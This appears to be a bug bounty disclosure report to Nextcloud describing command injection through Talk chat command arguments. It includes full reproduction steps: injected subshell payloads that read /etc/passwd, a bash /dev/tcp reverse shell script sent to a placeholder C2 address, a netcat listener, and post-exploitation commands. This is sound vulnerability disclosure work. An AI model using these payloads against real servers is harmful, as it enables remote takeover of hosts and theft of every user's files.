Nextcloud · Report #851807
Code injection possible with malformed Nextcloud Talk chat commands
Summary
The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.
How it was found
Summary
The Nextcloud Talk app allows system administrators to setup chat commands that can be executed in Talk using the "/command" syntax. Users can provide additional arguments to the commands, such as "/calc 1+1" or "/wiki Hello", which are passed to the underlying script using @exec. If arguments are accepted, it is possible to trigger arbitrary code by wrapping the code in bash subcommand syntax /wiki test $(mycommand). This allows for arbitrary code execution, which an actor can use to spawn a reverse shell back from the remote machine.
Links
- https://nextcloud-talk.readthedocs.io/en/latest/commands/#chat-commands
- https://github.com/nextcloud/spreed/issues/1566
- https://github.com/nextcloud/spreed/blob/384f39ded1dceab58491555744bd5326f8ff1e3f/lib/Chat/Command/ShellExecutor.php#L103
Severity
This bug has been filed with a severity of Critical inline with the bounty impact/definition chart and the Nextcloud Threat Model as the bug allows both remote code execution via a non-admin user as well as access of complete user data of any other user.
Affected Versions
All versions that support Talk Commands appear to be affected as the bug is in the @execute command.
The following version were tested:
- master-2020-04-15 via
snap install nextcloud --edge,occ.status versionstring: 19.0.0 beta 2 - 17.0.5snap1 via
snap install nextcloud,occ.status versionstring: 17.0.5
Repro Steps
-
Install and Setup Nextcloud
- create Ubuntu 18.04 VM
- install Nextcloud Server (Nextcloud Hub snap used for this test
snap install nextcloud --edge) - run install command:
nextcloud.manual-install "admin" "password" - generate self signed certificate
nextcloud.enable-https self-signed - set trusted domains
nextcloud.occ config:system:set trusted_domains 1 --value=<domain/ip> - create user
alice - install and enable spreed/talk app
- enable sample talk commands
nextcloud.occ talk:command:add-samples - add calculator command as described in the documentation here
-
Setup C2 VM
- kali used for this test, can be any host with netcat
nc - run nc listener
nc -l -p 8888
- kali used for this test, can be any host with netcat
-
Create Shell Script > shell.sh
This script can be anything that gets executed and returns a shell In this case, a simple reverse shell is initiated using bash interactive piping to /dev/tcp A php web shell, meterpreter binary or any other executable could be uploaded here
bash -i >& /dev/tcp/<c2-ip-here>/8888 0>&1 & -
Log In As Alice and Upload File
- upload above shell.sh to root directory of alice's Nexcloud files
-
With Alice, start a Talk Conversation
-
Test Exploitability:
Note, all commands appear to get successfully executed, however whether output is shown depends on the implementation of the backing script. For example, /wiki cannot show the results of
cat /etc/passwdbecause the multiline output breaks the wiki script, but the calculator sample can show the output because it has an echo command in the scrpt./wiki test $(id) /wiki test $(pwd) /wiki test $(ls -al .) /calc test $(cat /etc/passwd) /calc test $(ls -al ../) -
Execute Reverse Shell
- Locate uploaded shell script
- For nextcloud snap, the data directory is defined here
- File locations are fixed, therefore, once the root directory is known, it is easy to derive the location of the script
- Can use
/calc test $(ls ../)to explore directory structure
- Enable execution of the script
- Execute the script
/wiki test $(chmod +x /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh) /wiki test $(bash /var/snap/nextcloud/common/nextcloud/data/alice/files/shell.sh) - Locate uploaded shell script
-
Observer C2 Listener for Connection
-
Run Commands via C2
id pwd cd /var/snap/nextcloud/common/nextcloud/data/admin/files ls -al occ status
Attachments
See attached screenshots
Impact
- Complete access to all user files
- Shell access to occ
- Shell access to host machine - root access if Nextcloud is running as root